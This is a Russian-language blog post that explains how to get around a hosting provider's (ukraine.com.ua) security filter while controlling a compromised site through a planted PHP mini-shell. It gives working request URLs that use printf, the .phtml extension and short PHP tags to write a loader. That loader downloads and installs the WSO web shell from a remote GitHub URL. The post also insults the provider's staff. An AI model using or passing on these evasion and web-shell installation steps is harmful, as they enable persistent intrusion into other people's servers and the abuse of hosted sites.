Security Idiot

pic.php%00png

Обход '424 Failed Dependency' на хостингах ukraine.com.ua

Или почему специалисты ukraine.com.ua - идиоты.

Сегодня столкнулся с проблемой при попытке взаимодействовать через мини-шелл с файлами на сервере, все это на хостинге ukraine.com.ua, а именно:

  • Нельзя использовать cat для просмотра содержимого файлов
  • Использовать rm, echo и подобное
  • Команды в адресной строке типа site.ru/shell.php?cmd=echo ‘нужный код’ > file.php, например для загрузки того же wso, не проканает и выдаст 424 ошибку безопасности.

Проблема

Например у меня есть зараженный файл со строкой: php echo shell_exec($_GET['cmd']); что позволяет казалось бы, спокойно работать с сервером напрямую, но “гениальность” админов ukraine.com.ua работает на злоумышлинника ;)

Чем просмотреть файл? В *nix подобных системах, есть еще less, который вполне (и даже в чем то лучше) заменит cat.

Чем заменить echo, а вот тут есть printf, который работает аналогично в нашем случае:

1
printf 'some code' > file.php

Как залить к примеру, wso? Казалось бы, ничего сложного:

1
2
3
http://site.ru/shell.php?cmd=printf "<?php file_put_contents('wso.php', 
file_get_contents('https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php')); 
?>" > ../../site.ru/uploader_shell.php

То есть записываем в файл uploader_shell.php php код который скачает и сохранит файл шелла. Но при таком подходе нас пошлют в 424ю ошибку, во первых, хотя бы потому, что в строке есть .php, и php4, php5 не прокатят, а так же есть <?php, что дает понять, что кто то замыслил что то плохое ;)

Решение

Тут далеко ходить не нужно:

1
2
3
http://site.ru/shell.php?cmd=printf "<?file_put_contents('wso.phtml', 
file_get_contents('https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php'));?>"
> ../../site.ru/uploader_shell.php

Таким образом мы все же создали загрузчик шелла uploader_shell.php, теперь просто стоит его вызвать из адресной строки и он сохранит шелл рядом wso.php.

Вывод

Тех. специалисты ukraine.com.ua еще те идиоты. Лучше бы и не выебывались.